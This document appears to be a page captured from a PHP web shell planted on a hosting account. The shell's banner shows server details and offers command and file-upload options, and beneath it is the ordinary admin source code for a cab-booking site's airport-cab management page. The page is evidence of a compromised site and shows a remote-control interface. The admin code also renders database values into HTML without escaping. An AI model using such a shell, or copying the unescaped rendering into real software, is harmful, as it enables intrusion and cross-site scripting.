|
Server IP : 82.112.239.40 / Your IP : 18.218.129.191 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/cabz4you.com/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once 'header.php';
require_once 'navbar.php';
?>
<!-- Page content -->
<div class="container-fluid pt-8">
<div class="page-header mt-0 p-3">
<h3 class="mb-sm-0">AIRPORT CABS</h3>
<button id="addd" title="" class="btn btn-primary pull-right" data-toggle="modal" data-target="#add-city-modal">
<i class="fa fa-plus"></i>
</button>
</div>
<div id="alert2" class="col-md-12"></div>
<!-- Table -->
<div class="row">
<div class="col-12">
<div class="card shadow p-4">
<!-- <div class="card-header bg-transparent border-0">
<h2 class=" mb-0"> Airport cab List</h2>
</div> -->
<div class="">
<div class="grid-margin">
<div class="">
<div class="table-responsive">
<table id="example" class="text-center table card-table table-vcenter text-nowrap align-items-center">
<thead>
<tr>
<th style="width: 80px">S.No</th>
<th>image</th>
<th>Cab Type</th>
<th>Price</th>
<th style="width: 150px"> Action</th>
</tr>
</thead>
<tbody id="tbody">
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--Add Modal-->
<div class="modal fade" id="add-city-modal">
<div class="modal-dialog">
<div class="modal-content">
<div class="card-header">
<h4 style="text-align: left;">Add Cab <span id="alert"></span></h4>
</div>
<form id="add_airport" method="POST" enctype="multipart/form-data">
<div class="modal-body">
<div class="row">
<div class="col-md-12">
<label>Cab Image</label>
<input type="file" class="form-control" name="cab_img" id="cab_img" required="required"
autofocus>
</div>
<div class="col-md-6">
<label>Cab</label>
<input type="text" class="form-control" name="cab_type" id="cab_type" required="required"
autofocus>
</div>
<div class="col-md-6 ">
<label>Price</label>
<input type="number" class="form-control" name="price" id="price" required="required"
autofocus>
</div>
<div class="col-md-12">
<label> Inclusion</label>
<textarea class="form-control" name="inclusion" id="editor"></textarea>
</div>
<div class="col-md-12">
<label> Exclusion</label>
<textarea class="form-control" name="exclusion" id="editor2"></textarea>
</div>
</div>
<br/>
<div class="modal-footer">
<button type="button" class="btn btn-default pull-left" data-dismiss="modal">Close</button>
<button type="submit" name="add" id="add" class="btn btn-primary" >Add</button>
</div>
</form>
</div>
</div>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
<!--Edit Modal-->
<div class="modal fade" id="edit-city">
<div class="modal-dialog">
<div class="modal-content">
<div class="card-header">
<h4 style="text-align: left;">Edit Cab <span id="alerte"></span></h4>
</div>
<form id="edit_airport" method="POST" enctype="multipart/form-data">
<div class="modal-body">
<div class="row">
<div class="col-md-12">
<input type="hidden" name="airport_id" id="airport_id">
<label>Cab Image</label>
<input type="file" class="form-control" name="edit_cab_img" id="edit_cab_img"
autofocus>
</div>
<div class="col-md-6 ">
<label>Cab</label>
<input type="text" class="form-control" name="edit_cab_type" id="edit_cab_type" required="required"
autofocus>
</div>
<div class="col-md-6">
<label>Price</label>
<input type="number" class="form-control" name="edit_price" id="edit_price" required="required"
autofocus>
</div>
<div class="col-md-12">
<label> Inclusion</label>
<textarea class="form-control" name="inclusions" id="edit_editor"></textarea>
</div>
<div class="col-md-12">
<label> Exclusion</label>
<textarea class="form-control" name="exclusions" id="edit_editor2"></textarea>
</div>
</div>
<br/>
<div class="modal-footer">
<button type="button" class="btn btn-default pull-left" data-dismiss="modal">Close</button>
<button type="submit" name="edit" id="edit" class="btn btn-primary">save Changes</button>
</div>
</form>
</div>
</div>
</div>
<!-- /.modal-content -->
</div>
<script src="https://cdn.ckeditor.com/4.13.1/standard/ckeditor.js"></script>
<?php
require_once 'footer.php';
require_once 'jslinks.php';
?>
<script>
CKEDITOR.replace('edit_editor');
CKEDITOR.replace('edit_editor2');
CKEDITOR.replace('editor');
CKEDITOR.replace('editor2');
$(document).ready(function(){
// $('#example').DataTable();
//ADDING STAFF BY MODAL
output();
$('#add_airport').submit(function(e) {
e.preventDefault();
$("#global-loader").show();
$.ajax({
url: "airport_cabs_ajax.php",
type: "POST",
data: new FormData(this),
contentType: false,
cache: false,
processData:false,
success: function(response) {
if(response == "Success") {
$("#global-loader").fadeOut();
$('#alert').html('<span class="p-1 m-1 alert alert-success">Successfully Added.</span>').show()
setTimeout(function(){
location.reload()
}, 2000)
}
else {
$('#alert').html('<span class="p-1 m-1 alert alert-danger">Something Wrong, can\'t add.</span>').show()
setTimeout(function(){
$('#alert').hide()
}, 2000)
}
$('#add_airport').trigger("reset");
}
})
})
// To save changes in edit modal
$('#edit_airport').submit(function(e) {
e.preventDefault();
$("#global-loader").show();
$.ajax({
url: "airport_cabs_ajax.php",
type: "POST",
data: new FormData(this),
contentType: false,
cache: false,
processData:false,
success: function(response) {
if(response == "Success") {
$("#global-loader").fadeOut();
$('#alerte').html('<span class="p-1 m-1 alert alert-success">Successfully Added.</span>').show()
setTimeout(function(){
location.reload()
}, 1000)
}
else {
$('#alerte').html('<span class="p-1 m-1 alert alert-danger">Something Wrong, can\'t add.</span>').show()
setTimeout(function(){
$('#alerte').hide()
}, 1000)
}
}
})
})
});
// To show all the cab in main menu
function output() {
var inHTML = '';
var i = 1;
$.getJSON("airport_cabs_ajax?show_cab=1", function (data) {
$.each(data, function (key, item) {
inHTML +=
`<tr><td>${i}</td>
<td><img src="${item.img}" style="width:100px;"></td>
<td id="type${i}">${item.type}</td>
<td id="price${i}">${item.price}</td>
<td><button type="button" id="edit-btn" name="edit" class="btn btn-success" onclick="edit(${item.id})" data-toggle="modal" data-target="#edit-city" value="${item.id}"><i class="fa fa-edit btn-success"></i></button><button type="button" id="del" name="del" class="btn btn-danger" onclick="del(${item.id})" value="${item.id}" ><i class="fa fa-trash"></i></button></td></tr>`;
i++;
})
$('#tbody').html(inHTML);
$('#example').DataTable({
layout: {
topStart: {
buttons: ['copy', 'csv', 'excel', 'pdf', 'print']
}
},
"stateSave": true,
dom: 'lBfrtip',
"lengthMenu": [[10, 25, 50, 100, 250, 500, 1000, -1], [10, 25, 50, 100, 250, 500, 1000, 'All']]
});
})
}
// Deletion of cab
function del(e) {
var verify = confirm("Do you really want to delete!!!");
if (verify) {
$("#global-loader").show();
$.ajax({
url: "airport_cabs_ajax.php",
type: "POST",
data: {
delete_id: e,
},
success: function (response) {
$("#global-loader").fadeOut();
if (response == "Success") {
$('#alert2').html('<span class="p-1 m-1 alert alert-success">Successfully Deleted</span><br/>').show()
setTimeout(function () {
location.reload()
}, 2000)
} else {
$('#alert2').html('<span class="p-1 m-1 alert alert-danger">Something Wrong, can\'t delete.</span><br/>').show()
setTimeout(function () {
$('#alert2').hide()
}, 2000)
}
},
})
}
}
//On click of edit button to show values of database in edit modal
function edit(e) {
$("#global-loader").show();
$.ajax({
url: "airport_cabs_ajax.php",
type: "POST",
dataType: "JSON",
data: {
id: e,
},
success: function (response) {
$("#global-loader").fadeOut();
$('#edit_cab_type').val(response.type)
$('#edit_price').val(response.price)
$('#airport_id').val(response.id)
CKEDITOR.instances['edit_editor'].setData(response.inclusion)
CKEDITOR.instances['edit_editor2'].setData(response.exclusion)
},
})
}
</script>